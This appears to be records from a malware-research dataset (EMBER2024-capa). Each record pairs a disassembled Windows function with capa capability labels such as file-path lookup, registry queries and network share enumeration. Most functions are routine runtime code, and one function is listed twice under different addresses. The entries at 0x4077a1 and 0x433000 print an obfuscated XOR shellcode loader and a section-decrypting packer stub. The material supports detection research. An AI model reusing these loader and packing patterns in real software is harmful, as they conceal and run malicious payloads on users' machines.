joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405e22
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x208
lea ebp, [esp - 4]
mov eax, dword [0x40c148]
xor eax, ebp
mov dword [ebp + 0x208], eax
push 0x10
mov eax, 0x407c66
call fcn.00406b0f
push 0x409fc4
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.MSVCR100.dll__wdupenv_s]
add esp, 0xc
test eax, eax
jne 0x405f00
push dword [ebp - 0x18]
call dword [sym.imp.MSVCR100.dll_free]
cmp dword [0x40c258], 0
pop ecx
je 0x405e7f
xor eax, eax
inc eax
jmp 0x405f02
lea eax, [ebp]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.kernel32.dll_GetTempPathW]
cmp eax, esi
ja 0x405f00
test eax, eax
je 0x405f00
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x10]
call fcn.00401f01
and dword [ebp - 4], 0
push str.JavaDeployReg.log
lea ecx, [ebp - 0x14]
call fcn.00401f01
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 1
call fcn.00404095
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x405ed0
call fcn.004038f6
mov esi, dword [ebp - 0x10]
test esi, esi
je 0x405edb
mov eax, dword [esi]
jmp 0x405edd
xor eax, eax
push 0x40a070
push eax
push 0x40c258
call dword [sym.imp.MSVCR100.dll__wfopen_s]
add esp, 0xc
test eax, eax
je 0x405f25
test esi, esi
je 0x405f00
mov ecx, esi
call fcn.004038f6
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x208]
xor ecx, ebp
call fcn.00406b00
add ebp, 0x20c
leave
ret
test esi, esi
je 0x405e77
mov ecx, esi
call fcn.004038f6
jmp 0x405e77

Function at 0x4061d6
Capabilities:
Get common file path

Disassembly:
push 0x14
mov eax, 0x407c8e
call fcn.00406b42
mov esi, dword [ebp + 8]
xor eax, eax
xor edi, edi
xor ebx, ebx
mov word [esi], ax
mov dword [ebp - 4], edi
call fcn.004077a1
test eax, eax
je 0x406201
call fcn.004061c7
mov ebx, eax
push 0x104
push esi
push ebx
push edi
push 0x408940
call dword [sym.imp.SHELL32.dll_SHGetFolderPathEx]
mov esi, eax
cmp esi, edi
jge 0x40625c
push esi
push str.Error:_08x_in_SHGetFolderPathEx_FOLDERID_LocalAppDataLow__0__hToken__pPath__MAX_PATH_
call fcn.004068bb
pop ecx
pop ecx
push edi
push esi
call fcn.004077a1
mov ecx, dword [ebp - 0x18]
mov esi, dword [ecx + 4]
mov dword [ebp - 0x14], esi
call fcn.004065cb
push eax
push esi
push 0x408fac
call fcn.004068bb
or dword [ebp - 4], 0xffffffff
add esp, 0xc
mov eax, 0x406255
ret
cmp ebx, edi
je 0x406267
push ebx
call dword [sym.imp.kernel32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
cmp esi, edi
jge 0x406318
push dword [ebp + 8]
mov dword [ebp - 4], 2
push edi
push edi
push 0x1a
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov esi, eax
cmp esi, edi
jge 0x4062c4
push esi
push str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__pPath_
jmp 0x406220
or dword [ebp - 4], 0xffffffff
cmp esi, edi
jge 0x406318
push 1
push 0x1a
push dword [ebp + 8]
mov dword [ebp - 4], 4
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov esi, eax
cmp esi, edi
jge 0x406318
push esi
push str.Error:_08x_in_SHGetSpecialFolderPathW_NULL__pPath__CSIDL_APPDATA__TRUE_
jmp 0x406220
mov eax, esi
call fcn.00406bae
ret
Function at 0x406b00
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c148]
jne 0x406b0a
repz ret
jmp fcn.0040704e

Function at 0x406fbe
Capabilities:
Terminate process

Disassembly:
push 0x5c
push 0x40ada0
call fcn.00406fd0
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.kernel32.dll_GetStartupInfoW]
cmp dword [0x40c630], ebx
jne 0x406d61
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.kernel32.dll_HeapSetInformation]
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov dword [ebp - 0x20], ebx
mov edi, 0x40c62c
push ebx
push esi
push edi
call dword [sym.imp.kernel32.dll_InterlockedCompareExchange]
cmp eax, ebx
je 0x406d9b
cmp eax, esi
jne 0x406d8e
xor esi, esi
inc esi
mov dword [ebp - 0x20], esi
jmp 0x406d9e
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
jmp 0x406d75
xor esi, esi
inc esi
mov eax, dword [0x40c628]
cmp eax, esi
jne 0x406db1
push 0x1f
call sub.MSVCR100.dll__amsg_exit
pop ecx
jmp 0x406dec
mov eax, dword [0x40c628]
test eax, eax
jne 0x406de6
mov dword [0x40c628], esi
push 0x408260
push 0x408254
call sub.MSVCR100.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x406dec
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x406efe
mov dword [0x40c2a8], esi
mov eax, dword [0x40c628]
cmp eax, esi
jne 0x406e10
push 0x408250
push 0x408238
call sub.MSVCR100.dll__initterm
pop ecx
pop ecx
mov dword [0x40c628], 2
cmp dword [ebp - 0x20], ebx
jne 0x406e1d
push ebx
push edi
call dword [sym.imp.kernel32.dll_InterlockedExchange]
cmp dword [0x40c634], ebx
je 0x406e3e
push 0x40c634
call fcn.004077a1
pop ecx
test eax, eax
je 0x406e3e
push ebx
push 2
push ebx
call dword [0x40c634]
mov eax, dword [sym.imp.MSVCR100.dll__wcmdln]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
movzx ecx, word [eax]
cmp ecx, 0x20
ja 0x406e9f
cmp cx, bx
je 0x406e5a
cmp dword [ebp - 0x1c], ebx
jne 0x406e9f
movzx ecx, word [eax]
cmp cx, bx
je 0x406e6f
cmp ecx, 0x20
ja 0x406e6f
add eax, 2
mov dword [ebp - 0x24], eax
jmp 0x406e5a
test byte [ebp - 0x40], 1
je 0x406e7b
movzx ecx, word [ebp - 0x3c]
jmp 0x406e7e
push 0xa
pop ecx
push ecx
push eax
push ebx
push 0x400000
call main
mov dword [0x40c2a4], eax
cmp dword [0x40c298], ebx
jne 0x406ee4
push eax
call dword [sym.imp.MSVCR100.dll_exit]
cmp ecx, 0x22
jne 0x406eaf
xor ecx, ecx
cmp dword [ebp - 0x1c], ebx
sete cl
mov dword [ebp - 0x1c], ecx
add eax, 2
jmp 0x406e45
cmp dword [0x40c2a8], ebx
jne 0x406ef2
call dword [sym.imp.MSVCR100.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x40c2a4]
call fcn.00407015
ret
call fcn.004077a1
jmp 0x406d33
Function at 0x4077a1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x4077b0
pop dword [ebp - 0x30]
mov eax, 0x141ddf61
sub eax, 0x13dd67b1
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0xda04bf2
add dword [ebp - 0x40], 0x40b1f959
mov dword [ebp - 0x3c], 0x9dfd4382
sub dword [ebp - 0x3c], 0x6bc9f73d
mov dword [ebp - 0x38], 0xacef85e2
add dword [ebp - 0x38], 0x9f5cbe4c
mov dword [ebp - 0x34], 0xee1105d4
add dword [ebp - 0x34], 0x11eefa2c
lea eax, [ebp - 0x40]
push eax
mov eax, 0x1c525a30
sub eax, 0x1c11d974
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0x37b4f9f2
add dword [ebp - 0x40], 0x3cbd6f64
mov dword [ebp - 0x3c], 0xf2d21ff5
sub dword [ebp - 0x3c], 0xb165be80
mov dword [ebp - 0x38], 0xa054499d
sub dword [ebp - 0x38], 0x3ce4dd31
mov dword [ebp - 0x34], 0x538aa9f0
sub dword [ebp - 0x34], 0x538aa9f0
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x38824
push 0
call eax
mov ecx, 0x4e0e
mov esi, eax
mov edi, 0x1748ee93
add edi, 0xe8f7fd6d
add edi, dword [ebp - 0x30]
mov ebx, 0xc3eba6b4
sub dword [ebp - 0x24], 0xdda5c112
mov edx, dword [edi]
sub dword [ebp - 0x2c], 0xad3d956b
xor edx, ebx
sub dword [ebp - 0x18], edi
mov dword [esi], edx
xor dword [ebp - 0xc], 0x3fbbcb7b
add esi, 0x70f61390
add esi, 0x8f09ec74
add edi, 0x60b3aead
sub edi, 0x60b3aea9
loop 0x4078c1
add eax, 0xe03afa94
add eax, 0x1fc63077
mov ebx, eax
add eax, 0x5cb47857
add eax, 0xa34b87ae
mov ecx, 0x318526f7
sub ecx, 0x314526f7
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x4209cb
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x420a0a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x420a0a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x420a0a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x420a0a
cmp dword [ecx + 0x74], 0xe
jbe 0x420a0a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x433180
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4331ad
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4331ad
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
nop
mov ecx, 0xa2103b1
nop
nop
nop
nop
test eax, eax
nop
je 0x43304e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x72da0e09
nop
nop
test eax, eax
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x402a2c
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00404510
test esi, esi
jne 0x402a62
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00404600
jmp 0x402a80
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.004028e0
mov edi, eax
test esi, esi
je 0x402a80
cmp dword [ebx], 0
je 0x402a80
dec esi
jmp 0x402a69
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x40306c
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
imul edx, dword [0x461008], 0x8088405
inc edx
mov dword [0x461008], edx
mul edx
mov eax, edx
ret

Function at 0x40368c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x461010]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403724
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403704
xor eax, eax
push ebp
push 0x4036fd
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403740
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403704
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x461010]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x461010], ax
mov esp, ebp
pop ebp
ret

Function at 0x4042f0
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x46204c], 0
je 0x404351
cmp word [0x462220], 0xd7b2
jne 0x404319
cmp dword [0x462228], 0
jbe 0x404319
mov eax, 0x46221c
call dword [0x462238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x461054
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x404378
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x46101c], 0
jne 0x40436d
push 0
push 0x461074
push 0x461054
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x4044c4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.0040266c
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x46204d], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x40448c
push eax
push esi
push ebx
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x405e3c
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x40606c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x405ebf
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x40606c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x405ebf
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x406088
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x405f48
xor eax, eax
push ebp
push 0x405f41
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00405c84
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405f26
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x4060a8
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405f26
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405f48
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x406062
cmp byte [ebp - 0xd], 0
jne 0x405f8f
cmp byte [ebp - 0x12], 0
je 0x406062
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x405fa8
dec ebx
cmp byte [ebx], 0x2e
je 0x405fb7
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x405fa7
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x406062
inc ebx
cmp byte [ebp - 0x12], 0
je 0x405ff4
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x406062
cmp byte [ebp - 0xd], 0
je 0x406062
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x406062
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405f48
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x40606c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x405ebf
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x40606c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x405ebf
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x406088
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x405f48
xor eax, eax
push ebp
push 0x405f41
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00405c84
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405f26
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x4060a8
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405f26
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405f48
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x406062
cmp byte [ebp - 0xd], 0
jne 0x405f8f
cmp byte [ebp - 0x12], 0
je 0x406062
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x405fa8
dec ebx
cmp byte [ebx], 0x2e
je 0x405fb7
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x405fa7
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x406062
inc ebx
cmp byte [ebp - 0x12], 0
je 0x405ff4
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x406062
cmp byte [ebp - 0xd], 0
je 0x406062
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x406062
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407c60
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbd8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x424], ecx
mov dword [ebp - 0x428], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x407ead
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404564
cmp dword [0x4610ac], 1
jne 0x407cab
cmp dword [0x4610b0], 4
jle 0x407cea
mov dword [ebp - 0x14], 0x400
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x420]
push eax
push 1
mov eax, dword [ebp - 4]
call fcn.004049b8
push eax
call sub.mpr.dll_WNetGetUniversalNameA
test eax, eax
jne 0x407e8f
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x420]
mov edx, dword [edx]
call fcn.00404708
jmp 0x407e8f
mov eax, dword [ebp - 4]
mov al, byte [eax]
call fcn.00402ac8
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0x41
jb 0x407e8f
cmp byte [ebp - 0x15], 0x5a
ja 0x407e8f
mov eax, dword [ebp - 4]
call fcn.004047d0
cmp eax, 3
jl 0x407e8f
mov eax, dword [ebp - 4]
cmp byte [eax + 1], 0x3a
jne 0x407e8f
mov eax, dword [ebp - 4]
cmp byte [eax + 2], 0x5c
jne 0x407e8f
lea eax, [ebp - 0x1c]
push eax
push 0
push 0
push 1
push 1
call sub.mpr.dll_WNetOpenEnumA
test eax, eax
jne 0x407e8f
xor edx, edx
push ebp
push 0x407e88
push dword fs:[edx]
mov dword fs:[edx], esp
mov dword [ebp - 0xc], 0x640
mov eax, dword [ebp - 0xc]
call fcn.0040266c
mov dword [ebp - 0x20], eax
xor edx, edx
push ebp
push 0x407e6a
push dword fs:[edx]
mov dword fs:[edx], esp
mov dword [ebp - 0x10], 0xffffffff
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x20]
push eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x1c]
push eax
call sub.mpr.dll_WNetEnumResourceA
cmp eax, 0xea
jne 0x407db9
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x20]
mov edx, dword [ebp - 0xc]
call fcn.004026ac
jmp 0x407d7d
test eax, eax
je 0x407dcc
call fcn.00403f78
call fcn.00403f78
jmp 0x407e8f
mov esi, dword [ebp - 0x10]
dec esi
test esi, esi
jl 0x407d7d
inc esi
xor edi, edi
mov eax, edi
shl eax, 2
mov edx, dword [ebp - 0x20]
lea ebx, [edx + eax*8]
cmp dword [ebx + 0x10], 0
je 0x407e48
mov eax, dword [ebx + 0x10]
mov al, byte [eax]
call fcn.00402ac8
cmp al, byte [ebp - 0x15]
jne 0x407e48
lea eax, [ebp - 0x424]
push eax
mov eax, dword [ebp - 4]
call fcn.004047d0
mov ecx, eax
sub ecx, 2
mov edx, 3
mov eax, dword [ebp - 4]
call fcn.00404a1c
mov eax, dword [ebp - 0x424]
push eax
lea eax, [ebp - 0x428]
mov edx, dword [ebx + 0x14]
call fcn.00404708
mov edx, dword [ebp - 0x428]
mov eax, dword [ebp - 8]
pop ecx
call fcn.0040481c
call fcn.00403f78
call fcn.00403f78
jmp 0x407e8f
inc edi
dec esi
jne 0x407dd7
jmp 0x407d7d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407eb4
lea eax, [ebp - 0x428]
mov edx, 2
call fcn.00404534
ret
Function at 0x4095e4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40961d
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00404600
jmp 0x409626
mov eax, ebx
mov edx, esi
call fcn.00404564
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x409630
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x409651
mov al, byte [esp]
jmp 0x409653
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x409d34
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbbc
push ebx
push esi
push edi
push 0x400
lea ecx, [ebp - 0x444]
call fcn.00409b50
mov eax, dword [0x461b44]
cmp byte [eax], 0
je 0x409dce
mov eax, dword [0x461a50]
call fcn.00402f14
call fcn.004027d4
push 0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x444]
call fcn.00407fb8
push eax
lea eax, [ebp - 0x444]
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [ebp - 4]
push eax
push 2
push 0x409e14
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
xor eax, eax
push ebp
push 0x409dc2
push dword fs:[eax]
mov dword fs:[eax], esp
int3
push 0x40
lea eax, [ebp - 0x44]
push eax
mov eax, dword [0x461a30]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x462718]
call fcn.00405c48
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x444]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40a9c8
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40aa2c
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00404780
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.0040795c
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40aa33
lea eax, [ebp - 0xc]
call fcn.00404510
ret